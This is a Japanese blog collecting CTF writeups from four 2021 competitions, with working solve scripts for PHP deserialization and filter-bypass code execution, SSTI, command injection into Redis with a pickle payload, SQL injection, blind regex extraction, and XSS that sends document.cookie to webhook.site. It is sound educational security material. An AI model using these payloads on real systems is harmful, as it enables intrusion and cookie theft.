st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

BSides Noida CTF 2021 writeup

8/7 - 8/8という日程で開催された。zer0ptsで参加して1位。

[Web 462] wowooo (37 solves)

ユーザ名を与えると事前に用意された文字列に展開され、unserialize される。その返り値の2番目の要素が V13tN4m_number_one であればフラグが得られる。

<?php
include 'flag.php';
function filter($string){
    $filter = '/flag/i';
    return preg_replace($filter,'flagcc',$string);
}
$username=$_GET['name'];
$pass="V13tN4m_number_one";
$pass="Fl4g_in_V13tN4m";
$ser='a:2:{i:0;s:'.strlen($username).":\"$username\";i:1;s:".strlen($pass).":\"$pass\";}";

$authen = unserialize(filter($ser));

if($authen[1]==="V13tN4m_number_one "){
    echo $flag;
}
if (!isset($_GET['debug'])) {
    echo("PLSSS DONT HACK ME!!!!!!").PHP_EOL;
} else {
    highlight_file( __FILE__);
}
?>
<!-- debug -->

なぜかユーザ名に含まれる flagflagcc に置換されているが、この置換はユーザ名をテンプレートの文字列に展開した後に行われている。このために展開時の strlen($username) と置換後のユーザ名の文字数とが違った値になってしまう。

例えば、ユーザ名が flagflagflagflag であった場合に最終的に unserialize される文字列は a:2:{i:0;s:32:"flagccflagccflagccflagccflagccflagccflagccflagcc";i:1;s:15:"Fl4g_in_V13tN4m";} になる。PHPserialize は文字列を s:(文字数):"(文字列)"; のようにシリアライズするが、この場合だと s:48:"…"; であるべきところが s:32:"…"; になってしまっており、正しく unserialize できない文字列になっている。

これをうまく使えば、unserialize されると2番目の要素が V13tN4m_number_one である配列になるような文字列を作ることもできる。flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:1;s:19:"V13tN4m_number_one ";}aaaaaaaaaaaaaa をユーザ名として投げるとフラグが得られた。

BSNoida{3z_ch4all_46481684185_!!!!!!@!}

[Web 465] freepoint (34 solves)

/system|exec|passthru|shell_exec|pcntl_exec|bin2hex|popen|scandir|hex2bin|[~$.^_`]|\'[a-z]|\"[a-z0-9]/i という正規表現に引っかからないようなPHPコードを作る問題。

implode('',[chr(97),chr(98),chr(99)]) みたいな感じでフィルターを回避しつつ任意の文字列が作れるので、('passthru')('ls -la') みたいな感じでコマンドを実行する。

<?php
function encode($s) {
  $res = "implode('',[";

  $l = strlen($s);
  for ($i = 0; $i < $l; $i++) {
    $res .= 'chr(' . ord($s[$i]) . '),';
  }

  $res .= '])';
  return $res;
}

class BSides {
  function __construct($payload) {
    $this->note = $payload;
    $this->name = 'admin';
    $this->option = 'getFlag';
  }
}

echo 'http://ctf.freepoint.bsidesnoida.in/?ctf=' . urlencode(serialize(new Bsides(
  '(' . encode('passthru') . ')(' . encode('cat /home/*') . ')'
)));
BSNoida{Fre3_fl4g_f04_y0u_@@55361988!!!}

[Web 477] Baby Web Revenge (24 solves)

以下のような感じでSQLiがある。

    $channel_name = $_GET['chall_id'];
    $sql = "SELECT * FROM CTF WHERE id={$channel_name}";
    $results = $db->query($sql);

のだけれども、nginx側で以下のように chall_id というGETパラメータにフィルターがかけられてしまっている。

 if ( $arg_chall_id ~ [A-Za-z_.%]){
        return 500;
    }

PHPはGETパラメータの名前に . が含まれていた場合には自動的にそれを _ に変換するので、これを使えばフィルターを回避できる。

?chall.id=1/**/union/**/select/**/sql,2,3,4,5,6/**/from/**/sqlite_mastertherealflags テーブルの存在がわかるので、これを読み出すとフラグが得られる。

BSNoida{4_v3ry_w4rm_w31c0m3_2_bs1d35_n01d4_fr0m_4n_1nt3nd3d_s01ut10nxD}

[Web 493] Calculate (8 solves)

/[a-zA-BD-Z!@#%^&*:'\"|`~\\\\]|3|5|6|9/ という正規表現に引っかからず、また110文字以内の文字列であれば eval されるという問題。freepointがさらに厳しくなったような感じ。

まず正規表現について、これに引っかからないASCII内の文字は $()+,-./012478;<=>?C[]_{} だけ。UIUCTFのphpfuck_fixedと比べると優しく見えるが、110文字という文字数制限は厳しい。

nyankoさんが文字列の入った変数はインクリメントでき、これを使って C から様々な文字が作れることを発見していた。例えば、$s という変数に ABC という文字列が入っていた場合に $s をインクリメントすると、$sABD という文字列に変わる。

また、配列と文字列を文字列結合演算子で結合させようとすると、配列の方は Array という文字列に変換される。これを使えば ([].C)[1] から r という文字が作れる。

これらを組み合わせて、nyankoさんが $C=C.C;$C++;$C++;$C++;$C++;$C++;$C=$C.([].[])[2] というコードで CHr という文字列が作れることを見つけていた。

ただ、関数の呼び出しのために chr でいちいち関数名や引数になる文字列を組み立てていてはすぐに110文字を超えてしまう。この chr_GET という文字列を組み立てて適当な変数(例えば $_) に代入しておけば、可変変数という機能を使って ($$_[0])($$_[1]) という ($_GET[0])($_GET[1]) 相当のコードを作ることができる。これを使えば、呼び出したい関数があればGETパラメータにその名前と引数を入れるだけで呼び出せる。

import requests
payload = '$C=C.C,$C++,$C++,$C++,$C++,$C++,$C.=([].C)[2],$_=(_.$C(72-1).$C(70-1).$C(84)),($$_[0])($$_[1])'
r = requests.post('http://ctf.calculate.bsidesnoida.in/', data={
  'VietNam': payload
}, params={
  '0': 'exec',
  '1': 'cat /home/*'
})
print(r.text)
BSNoida{w0w_gr3at_Th4nk_y0u_f0r_j0in1ng_CTF_!!!!!!}

UIUCTF 2021 writeup

7/31 - 8/2という日程で開催された。zer0ptsで参加して10位。Web問がパズル要素多めで楽しかった。

[Web 50] wasmbaby (372 solves)

wasmファイルを読む…必要はなく、strings で一発。

$ strings -n 8 "index.wasm" | grep uiu
uiuctf{welcome_to_wasm_e3c3bdd1}

[Web 112] ponydb (49 solves)

使われているRDBMSMySQL。以下のように favorites というカラムは型が varchar(256) なので、256文字以上の文字列を突っ込めば256文字に切り詰められる。

try: cursor.execute('CREATE TABLE `ponies` (`name` varchar(64), `bio` varchar(256), '
                    '`image` varchar(256), `favorites` varchar(256), `session` varchar(64))')

切り詰めを防止するために以下のように文字列の長さはちゃんとチェックされている。と思いきや、よく見ると favorite_keyfavorite_value では、64文字を超えても他のデータのように error という変数に文字列が代入されていない。このせいで favorite_keyfavorite_value に65文字以上の文字列を突っ込んでもスルーされてしまう。

   image = request.form['image']
    if "'" in image: error = 'Image URL may not contain single quote'
    if len(image) > 256: error = 'Image URL too long'

    favorite_key = request.form['favorite_key']
    if "'" in favorite_key: error = 'Custom favorite name may not contain single quote'
    if len(favorite_key) > 64: 'Custom favorite name too long'

    favorite_value = request.form['favorite_value']
    if "'" in favorite_value: error = 'Custom favorite may not contain single quote'
    if len(favorite_value) > 64: 'Custom favorite too long'

...

    if error: flash(error)

favorite_keyfavorite_value は最終的に以下のような形でJSONとして格納される。number の値を 1337 に変えることができればフラグが得られるので、favorite_keyfavorite_value より後ろにある number が切り捨てられるようにしたい。適当にスペースで文字数を調整して、切り詰められた後のJSON{"(favorite_key)":"","number":1337} になるような favorite_value を生成する。

       cur.execute(f"INSERT INTO `ponies` VALUES ('{name}', '{bio}', '{image}', " + \
                    f"'{{\"{favorite_key.lower()}\":\"{favorite_value}\"," + \
                    f"\"word\":\"{word.lower()}\",\"number\":{number}}}', " + \
                    f"'{session['id']}')")

favorite_keyafavorite_value","number":1337}(スペースが234個) を入力するとフラグが得られた。

uiuctf{My_l33tle_p0ny_5fb234}

[Web 417] miniaturehorsedb (13 solves)

ponydbに以下のような変更が加えられた。今度は favorite_keyfavorite_value が64文字を超えればちゃんと弾かれるようになった。

$ diff -u old.py new.py
--- old.py      2021-06-19 05:45:17.000000000 +0900
+++ new.py      2021-08-01 00:13:34.000000000 +0900
@@ -71,11 +71,11 @@

        favorite_key = request.form['favorite_key']
        if "'" in favorite_key: error = 'Custom favorite name may not contain single quote'
-       if len(favorite_key) > 64: 'Custom favorite name too long'
+       if len(favorite_key) > 64: error = 'Custom favorite name too long'

        favorite_value = request.form['favorite_value']
        if "'" in favorite_value: error = 'Custom favorite may not contain single quote'
-       if len(favorite_value) > 64: 'Custom favorite too long'
+       if len(favorite_value) > 64: error = 'Custom favorite too long'

        word = request.form['word']
        if "'" in word: error = 'Word may not contain single quote'

文字数のチェックでは len(favorite_key) が使われているが、レコードの挿入時には favorite_key.lower()str.lower() によって小文字化されていることに注目して、nyankoさんが len('İ') が1なのに対して len('İ'.lower()) は2であることを見つけていた。

これを使えば、保存時に str.lower() に通される favorite_keyword にいっぱい İ を入れてやることで、256文字への切り詰めでそれらのキーより後ろにある number を無視させることができるはず。以下のように入力するとフラグが得られた。

favorite_key: İİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİ
favorite_value: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","number":1337,"a":"a
word: İİİİİİİİİİİİİİİİİİİİİİİİİ"}
uiuctf{wh0ops_th1s_on3_was_harder_r1ght_9fa2b}

[Web 483] essveegee (4 solves)

SVGをアップロードすると /app/sessions/(セッションID)/uploads/(SVGのID).svg に保存される。SVGのIDをadminに報告するとadminがPlaywrightで file:///app/… を見に行く。SVGならJavaScriptが実行できるのではないかと思ってしまうが、以下のようにJavaScriptの実行は無効化されてしまっている。

    const context = await browser.newContext({
        javaScriptEnabled: false
    })

以下のコードからわかるように、フラグは /app/sessions/(セッションID)/flag/a/0/b/f/…/flag.txt のようなランダムなパスに保存され、またフラグの保存されるディレクトリはadminに報告する度に変更される。

    // move the flag to a super secret directory
    try {
        fs.rmdirSync(`${SESSION_DIR}/${req.sessionID}/flag`, { recursive: true })
    } catch { }
    try {
        const flagPath = `${SESSION_DIR}/${req.sessionID}/flag/${crypto.randomBytes(5).toString('hex').split('').join('/')}`
        fs.mkdirSync(flagPath, { recursive: true })
        fs.writeFileSync(`${flagPath}/flag.txt`, process.env.FLAG ?? 'flag{test_flag}')
    } catch { }

JavaScriptもなしにどうやってフラグの保存されているディレクトリを特定すればよいのだろうかと悩んでいたが、しばらく考えて以下のように object 要素とfallback contentを組み合わせれば、外側の object 要素の読み込みが失敗した(つまり、そのディレクトリが存在しなかった)際にfallback contentの object 要素によって http://localhost:8000?… へのHTTPリクエストが発生するから、そのHTTPリクエストが発生したかどうかによってディレクトリの存在が確認できるという方法を思いついた。

<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject class="node" x="6" y="22" width="1000" height="1000">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <object width="50" height="50" data="../flag/0">
        <object data="http://localhost:8000?0"></object>
      </object>
      <object width="50" height="50" data="../flag/1">
        <object data="http://localhost:8000?1"></object>
      </object>
      ...
      <object width="50" height="50" data="../flag/f">
        <object data="http://localhost:8000?f"></object>
      </object>
    </body>
  </foreignObject>
</svg>

ただし、この方法だけではせいぜい数階層分しか特定できない。フラグを得るには10階層分を特定する必要があるが、ひとつのSVGファイルで10階層分の特定は非現実的だし、複数のSVGファイルをアップロードして複数回の報告をしようとすればフラグのパスは変わってしまう。

iframe で適当なWebサーバを開かせて、そちらにフラグのあるディレクトリを特定するためのHTMLを動的に生成させるようにしても、ローカルファイルを読み込もうとしたら Not allowed to load local と怒られてしまう。なんとかしてローカルで完結させなければならない。

ここで、s1r1usさんがSVGをアップロードするセッションとはまた別のセッションを作ってやって、そちらのフラグの保存されているパスを特定するようにすれば、SVGの報告ごとのディレクトリの変更の影響を受けないのではと思いついた。なるほど。

以下のようにペイロードを生成するスクリプトを書き、ペイロードの生成と報告を10回繰り返してフラグの存在するディレクトリを特定する。

s = '''
<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject class="node" x="6" y="22" width="1000" height="1000">
    <body xmlns="http://www.w3.org/1999/xhtml">
'''

session_id = '(セッションID)'
known = '0/e/d/9/1/a/9/a/c/'
for c in '0123456789abcdef':
  s += f'''
      <object width="50" height="50" data="../../{session_id}/flag/{known}{c}">
        <object data="http://…/log.php?{c}"></object>
      </object>
  '''

s += '''
    </body>
  </foreignObject>
</svg>
'''

with open('payload.svg', 'w') as f:
  f.write(s)

以下のようなSVGファイルをアップロードし報告してやると、フラグが得られた。

<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject class="node" x="6" y="22" width="1000" height="1000">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <iframe src="../../(セッションID)/flag/(特定したフラグのパス)/flag.txt"></iframe>
   </body>
  </foreignObject>
</svg>

f:id:st98:20210802102352p:plain

[Jail 449] phpfuck_fixed (9 solves)

任意のPHPコードを7種類の文字で表現される等価なコードに変換できるPHPF*ckというツールがあるのだけれども、これを以下のコードが言うように5種類で実現せよという問題だった。無茶を言うな。

<?php
// Flag is inside ./flag.php :)
($x=str_replace("`","",strval($_REQUEST["x"])))&&strlen(count_chars($x,3))<=5?print(eval("return $x;")):show_source(__FILE__)&&phpinfo()

後から Look, he has a monocle (^.9) と、(^.9) の5種類で実現できるというヒントが追加された。このヒントからnyankoさんがまず以下のように 0, 1, 2, 4, 8, INF を作れることを見つけていた。

php > var_dump(9^9);
int(0)
php > var_dump(.99999999999999999^(9^9));
int(1)
php > var_dump(9^9.9999999999999999^.99999999999999999);
int(2)
php > var_dump((.99999999999999999^(9^9)).(9^9.9999999999999999^.99999999999999999)^9^.99999999999999999);
int(4)
php > var_dump(9^.99999999999999999);
int(8)
php > var_dump((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9));
string(4) "INF9"

さらに、(2^4) のようにXORを使えばこれらから0から9までの数値を作れるし、((4).(2))^0 のように数値に対して文字列の結合演算子を使えば任意の数値を作れることも見つけていた。すごい。

nyankoさんが見つけたこれらのテクニックを応用して、次のようなスクリプトCHr という文字列が作れる。

table = {
  0: '(9^9)',
  1: '(.99999999999999999^(9^9))',
  2: '(9^9.9999999999999999^.99999999999999999)',
  4: '((.99999999999999999^(9^9)).(9^9.9999999999999999^.99999999999999999)^9^.99999999999999999)',
  8: '(9^.99999999999999999)',
  'INF': '((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))'
}

for x in range(10):
  if x not in table:
    res = []
    for i in range(4):
      if x & (1 << i):
        res.append(table[1 << i])
    table[x] = '(' + '^'.join(res) + ')'

# @@@
a = table['INF'] + '^' + \
    '.'.join([table[8], table[8], table[4]]) + '^' + \
    '.'.join([table[1], table[6], table[2]])

# CH
ch = a + '^' + \
    '.'.join([table[0], table[0]]) + '^' + \
    '.'.join([table[3], table[8]])

# r
r = table['INF'] + '^' + \
    '.'.join([table[8], table[8]]) + '^' + \
    '.'.join([table[1], table[8]]) + '^' + \
    '.'.join([table[2], table[8]])

# CHr
chr = '(' + ch + ').(' + r + ')'
chr = '(' + chr + ')' + \
    '^(' + '.'.join([table[0], table[0], table[0]]) + ')' + \
    '^(' + '.'.join([table[0], table[0], table[0]]) + ')'

print(chr)

CHr という文字列さえあれば、('CHr')(65).('CHr')(66).('CHr')(67) == 'ABC' のようにして任意の文字列が楽に作れる。shell_exec('cat flag.php') 相当のコードを生成して実行させればフラグが得られた。

import requests

table = {
  0: '(9^9)',
  1: '(.99999999999999999^(9^9))',
  2: '(9^9.9999999999999999^.99999999999999999)',
  4: '((.99999999999999999^(9^9)).(9^9.9999999999999999^.99999999999999999)^9^.99999999999999999)',
  8: '(9^.99999999999999999)',
  'chr': '((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(9^.99999999999999999).(9^.99999999999999999).((.99999999999999999^(9^9)).(9^9.9999999999999999^.99999999999999999)^9^.99999999999999999)^(.99999999999999999^(9^9)).((9^9.9999999999999999^.99999999999999999)^((.99999999999999999^(9^9)).(9^9.9999999999999999^.99999999999999999)^9^.99999999999999999)).(9^9.9999999999999999^.99999999999999999)^(9^9).(9^9)^((.99999999999999999^(9^9))^(9^9.9999999999999999^.99999999999999999)).(9^.99999999999999999)).(((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(9^.99999999999999999).(9^.99999999999999999)^(.99999999999999999^(9^9)).(9^.99999999999999999)^(9^9.9999999999999999^.99999999999999999).(9^.99999999999999999)))^((9^9).(9^9).(9^9))^((9^9).(9^9).(9^9))'
}

for x in range(10):
  if x not in table:
    res = []
    for i in range(4):
      if x & (1 << i):
        res.append(table[1 << i])
    table[x] = '(' + '^'.join(res) + ')'

def encode_number(x):
  res = []
  for c in str(x):
    res.append(table[int(c)])
  return '.'.join(res)

def encode(s):
  res = []
  for c in s:
    res.append(encode_number(ord(c)))

  res = '(chr)(' + ').(chr)('.join(res) + ')'
  res = res.replace('chr', table['chr'])

  return res

payload = '(' + encode('shell_exec') + ')(' + encode('cat flag.php') + ')'
req = requests.post('http://phpfuck-fixed.chal.uiuc.tf/', data={
  'x': payload
})
print(req.text)
$ python solve.py
<?php /* uiuctf{pl3as3_n0_m0rE_pHpee_9f4e3058} */ ?>
No flag for you!

IJCTF 2021 writeup

7/24 - 7/25という日程で開催された。zer0ptsで参加して1位。

[Web 884] SodaFactory (19 solves)

次のようなソースコードが与えられる。/makeSoda にSSTIがあるが、sodajsという聞き慣れないテンプレートエンジンが使われている。

const express = require('express')
const soda = require('sodajs/node');

const app = express()
app.use(express.static('public'))
app.use(express.urlencoded({
  extended: true
}))

var images = {
  coke:"https://kellysdistributors.com.au/wp-content/uploads/387-1.jpg",
  pepsi:"https://static.winc.com.au/pi/70/0f795e8e7cbb8d4c874032865e2c8a246d6416-155505/lgsq.jpg",
  fanta:"https://cdn.shopify.com/s/files/1/2070/6751/products/Fanta.jpg?v=1545098502",
}

app.post('/makeSoda', (req, res) => {
  var {name, brand} = req.body;
  img = images[brand];
  res.send(soda(`
    <title>${name}</title>
    <img src='${img}' alt='${name}'>
  `,{}))
})

app.listen(process.env.PORT,'0.0.0.0', () => {
  console.log(`Listening`)
})

Node.jsなので "abc"["constructor"]["constructor"] にアクセスすれば eval 的なことができるんじゃないかな~と思って試したらいけた。

$ curl -g 'http://34.126.213.161:5553/makeSoda' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'name={{"abc"["constructor"]["constructor"]("return process.env")()}}&brand=coke'

    <title>{
  "NODE_VERSION": "12.18.1",
  "HOSTNAME": "07aa9bddbe87",
  "YARN_VERSION": "1.22.4",
  "PORT": "3000",
  "HOME": "/root",
  "PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
  "PWD": "/app",
  "FLAG": "IJCTF{Y00_maK3_g00D_50DA_MA73}"
}</title>
    <img src="https://kellysdistributors.com.au/wp-content/uploads/387-1.jpg" alt="[object Object]" />

[Web 999] Jinx (3 solves)

nginx-lua-moduleを使ったスクリプトである /cgi/ping にOSコマンドインジェクションがある。/cgi/ping?ip=;iduid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) が返ってくる。

local hex_to_char = function(x)
  return string.char(tonumber(x, 16))
end

local unescape = function(url)
  return url:gsub("%%(%x%x)", hex_to_char)
end

local ping = function(ip)
  local cmd = "ping -c1 "..ip
  local p = io.popen(cmd, 'r')
  local s = assert(p:read('*a'))
  p:close()
  return s
end

local ip =  unescape(ngx.var.arg_ip)

ngx.say(ping(ip))

このOSコマンドインジェクションから他のサーバにSSRFができる。cdnapp.py ではRedisをキャッシュのために使っているから、SSRFでRedisサーバにペイロードを仕込んでやればRCEに持ち込める。というのも、Flask-CachingはデフォルトではpickleでシリアライズしたデータをRedisサーバに保存しているから。

from flask import Flask, request
from flask_caching import Cache
from redis import Redis

app = Flask(__name__)

cache = Cache(app, config={'CACHE_TYPE': 'redis','CACHE_REDIS_HOST':'redis'})

redis = Redis('redis')

...

@app.route('/uploads/<path:name>',methods=["GET"])
@cache.cached(timeout=30)
def uploads(name):
    d = redis.get(f"uploads_{name}")
    if d != None:
        return d
    else:
        return "Nothing with the name " + name

EVAL "redis.call('set', 'flask_cache_view//uploads/aikatsu', '!(pickle payload)')" 相当のコマンドをRedisサーバに対して送った上で /uploads/aikatsu にアクセスすれば、仕込んだペイロードが実行される。flag というファイルを読み込むようにしてやればフラグが得られる。

$ curl 'http://34.126.213.161:5551/cgi/ping?ip=;bash%20-c%20"exec%203<>/dev/tcp/redis/6379;echo%20-en%20\"PING\r\nEVAL redis.call(string.char(115,101,116),string.char(102,108,97,115,107,95,99,97,99,104,101,95,118,105,101,119,47,47,117,112,108,111,97,100,115,47,97,105,107,97,116,115,117),string.char(33,99,95,95,98,117,105,108,116,105,110,95,95,10,101,118,97,108,10,40,83,39,111,112,101,110,40,34,102,108,97,103,34,41,46,114,101,97,100,40,41,39,10,116,82,46)) 0\r\nQUIT\r\n\"%20>%263;%20sleep%200.5;%20cat%20<%263"%202>%261'
+PONG
$-1
+OK
$ curl 'http://34.126.213.161:5551/uploads/aikatsu' --output -
IJCTF{p1ckl3+4+p1VOt}

[Forensic 999] Black Letter (3 solves)

ぶっ壊れたPNGファイルが渡される。acTL とか fdAT といったチャンク名が見えるからAPNGと判断できる。バイナリエディタで各チャンクについて見ていくとチャンクサイズとCRCがすべて0になっているし、fcTLfdAT チャンクを見ていくとシーケンス番号からチャンクの順番がバラバラになっていることがわかる。

まず次のコードでチャンクサイズとCRCを直す。

import binascii
import struct
import re

def pack(x):
  return struct.pack('>I', x)

with open('message.png', 'rb') as f:
  data = f.read()

chunk_names = ['IHDR', 'acTL', 'tRNS', 'fcTL', 'fdAT', 'IEND']
pattern = re.compile('|'.join(chunk_names).encode())

res = data[:]
it = pattern.finditer(data)
curr = next(it)
for next_ in it:
  size = next_.start() - curr.start() - 12
  res = res[:curr.start() - 4] + pack(size) + res[curr.start():]

  chunk_name = curr.group(0)
  crc = binascii.crc32(data[curr.start():next_.start() - 8])
  res = res[:next_.start() - 8] + pack(crc) + res[next_.start() - 4:]

  curr = next_

res = res[:-4] + b'\xae\x42\x60\x82'

with open('result.png', 'wb') as f:
  f.write(res)

シーケンス番号をもとにチャンクを正しい順番に並べ替えた上で、各フレームを横に結合して1枚の画像として描画するようなAPNGビュアーを作る。

import io
import struct
import re
import zlib
from PIL import Image

def u8(x):
  return struct.unpack('>B', x)[0]

def u32(x):
  return struct.unpack('>I', x)[0]

def render(data, w, h):
  stream = io.BytesIO(data)
  im = Image.new('L', (w, h))
  pix = im.load()
  for y in range(h):
    mode = stream.read(1)
    for x in range(w):
      pix[x, y] = u8(stream.read(1)),
  return im

with open('result.png', 'rb') as f:
  data = f.read()

chunk_names = ['IDAT', 'fdAT', 'fcTL']
pattern = re.compile('|'.join(chunk_names).encode())

frames = []
it = pattern.finditer(data)
for curr in it:
  chunk_name = curr.group(0).decode()
  size = u32(data[curr.start()-4:curr.start()])
  tmp = data[curr.end():curr.end()+size]

  if chunk_name == 'fcTL':
    seqnum = u32(tmp[:4])
    width, height = u32(tmp[4:8]), u32(tmp[8:12])
    x_off, y_off = u32(tmp[12:16]), u32(tmp[16:20])
    dispose_op = u8(tmp[24:25])
    blend_op = u8(tmp[25:])
  elif chunk_name == 'IDAT':
    seqnum = 0
    tmp = zlib.decompress(tmp)
    im = render(tmp, 25, 25)
  elif chunk_name == 'fdAT':
    seqnum = u32(tmp[:4])
    tmp = zlib.decompress(tmp[4:])
    tmp_im = render(tmp, width, height)
    frames.append({
      'seqnum': seqnum,
      'im': tmp_im,
      'x_off': x_off,
      'y_off': y_off,
      'dispose_op': dispose_op,
      'blend_op': blend_op
    })

frames.sort(key=lambda x: x['seqnum'])
res = Image.new('L', (25 * len(frames), 25))
for i, frame in enumerate(frames):
  if frame['dispose_op'] == 1: # APNG_DISPOSE_OP_BACKGROUND
    im = Image.new('L', (25, 25))
  if frame['dispose_op'] == 2: # APNG_DISPOSE_OP_PREVIOUS
    tmp = im.copy()
  im.paste(frame['im'], (frame['x_off'], frame['y_off']))
  res.paste(im, (25 * i, 0))
  if frame['dispose_op'] == 2: # APNG_DISPOSE_OP_PREVIOUS
    im = tmp

res.show()
res.save('res2.png')

実行するとフラグが得られた。

f:id:st98:20210725165753p:plain

IJCTF{d34f6429957e3ec205d4f140c9b34a33}

redpwnCTF 2021 writeup

7/10 - 7/13という日程で開催された。zer0ptsで参加して4位。

[Web 103] pastebin-1 (612 solves)

かんたんXSS<script>navigator.sendBeacon('https://webhook.site/…',document.cookie)</script> でフラグが得られる。

flag{d1dn7_n33d_70_b3_1n_ru57}

[Web 104] secure (535 solves)

かんたんSQLi。

$ curl 'https://secure.mc.ax/login' -H 'content-type: application/x-www-form-urlencoded' --data-raw "username=YQ%3D%3D&password='OR'a'<'b"
Found. Redirecting to /?message=flag%7B50m37h1n6_50m37h1n6_cl13n7_n07_600d%7D

[Web 122] cool (125 solves)

INSERT 文内でSQLiできるが、50文字以下のペイロードginkoid というユーザのパスワードを抜き出す必要がある。'||(select substr(password,1,1) from users)||' というパスワードで登録すれば、ユーザ名はフォームから与えたものに、パスワードは users の最初のレコードの (つまり ginkoid の) パスワードの1文字目に設定される。こんな感じでn文字目のパスワードを含むユーザをSQLiで作った後、ログイン時にパスワードを総当たりすることで1文字ずつ特定できる。

ずっと select password from users だと複数のレコードが返ってきちゃうからエラーが起こりそうなあ、でも LIMIT 句とか WHERE 句を使おうにも文字数の制限があるしなあと悩んでいたが、aventadorさんの助言のおかげでSQLiteでは users に複数のレコードがあっても INSERT INTO users (username, password) VALUES ('user', (SELECT password FROM users)) はエラーを吐かないということに気づけた。ステレオタイプこわい。悩む前にまず試しましょう。

import requests
import random

allowed_characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'

def generate_token(n=32):
  return ''.join(
    random.choice(allowed_characters) for _ in range(n)
  )

URL = 'https://cool.mc.ax'
def register(username, password):
  req = requests.post(URL + '/register', data={
    'username': username,
    'password': password
  })
  return 'You are logged in' in req.text

def login(username, password):
  req = requests.post(URL, data={
    'username': username,
    'password': password
  })
  return 'You are logged in' in req.text

i = 1
result = ''
while True:
  username = generate_token()
  register(username, f"'||(select substr(password,{i},1) from users)||'")
  for c in allowed_characters:
    if login(username, c):
      result += c
      break
  else:
    print('done')
    break

  print(i, result)
  i += 1

これで eSecFnVoKUDCfGAxfHuQxuootJ6yjKX3 がパスワードだとわかる。ginkoid としてログインするとフラグが得られる。

flag{44r0n_s4ys_s08r137y_1s_c00l}

[Web 175] Requester (41 solves)

/testAPI にSSRFがあり、POSTメソッドでHTTPリクエストをCouchDBに送らせることができる。公式のドキュメントを参考にしながらBlind Regular Expression Injection Attackの要領でフラグが抜き出せる。

$ time curl -g 'https://requester.mc.ax/testAPI?method=POST&url=http://poyoyon:poyoyoyoyoyoyo@couchdB:5984/poyoyon/_find&data={"selector":{"flag":{"$regex":"^f(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}salt$"}}}'
success
real    0m3.347s
user    0m0.005s
sys     0m0.015s
$ time curl -g 'https://requester.mc.ax/testAPI?method=POST&url=http://poyoyon:poyoyoyoyoyoyo@couchdB:5984/poyoyon/_find&data={"selector":{"flag":{"$regex":"^a(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}salt$"}}}'
success
real    0m0.734s
user    0m0.015s
sys     0m0.006s

スクリプトはこんな感じ。

import requests
import json
import string
import time

username = 'poyoyon'
password = 'poyoyoyoyoyoyo'

def query(known):
  t = time.time()
  data = json.dumps({
    'selector': {
      'flag': {
        '$regex': '^' + known + '(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}salt$'
       }
    }
  })
  req = requests.get(f'https://requester.mc.ax/testAPI?method=POST&url=http://{username}:{password}@couchdB:5984/{username}/_find&data={data}')
  return time.time() - t

known = ''
while True:
  for c in '_' + string.printable.strip().replace('*', '').replace('+', '').replace('?', '').replace('.', ''):
    if query(known + c) > 1.5:
      known += c
      break
  print(known)

10~20分ぐらい待つとフラグが得られる。

$ python3 solve.py
f
fl
fla
flag
…
flag{JaVA_tHE_GrEAteST_WeB_lANguAge_32154}

[Web 196] notes (32 solves)

tagがエスケープされていないのでXSSできるが、10文字以下に抑える必要がある。文字数の制限はあるものの、何度もコンテンツを挿入できるのでペイロードを分割してやればよい。<script>…</script><img src=… onerror=…> も文字数の調整が難しかったり、そもそも発火しなかったりするので <style onload=…></style> でなんとかする。

以下のコードを実行して https://notes.mc.ax/view/(ユーザ名) を報告するとadminとしてログインした状態のCookieが得られる。そのままadminの投稿したノートを見るとフラグが得られる。

async function post(data) {
  return fetch('/api/notes', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
    },
    body: JSON.stringify(data)
  });
}

const a = [
  {"body": "a", "tag": "<style a='"},
  {"body": "a", "tag": "'onload='`"},
  {"body": "${navigator.sendBeacon(`https://webhook.site/…`,document.cookie)}", "tag": "`'></style>"},
];
for (const b of a) {
  await post(b);
}
flag{w0w_4n07h3r_60lf1n6_ch4ll3n63}

[Web 251] requester-strikes-back (19 solves)

Requesterの修正版。今度は /testAPI が以下のようにURLを厳格にチェックするようになり、couchdb がホスト名に含まれていれば弾かれるようになってしまった。

/* 43 */       URL urlURI = new URL(url);
/* 44 */       if (urlURI.getHost().toLowerCase().contains("couchdb"))
/* 45 */         throw new ForbiddenResponse("Illegal!"); 
/* 47 */       String urlDecoded = URLDecoder.decode(url, StandardCharsets.UTF_8);
/* 48 */       urlURI = new URL(urlDecoded);
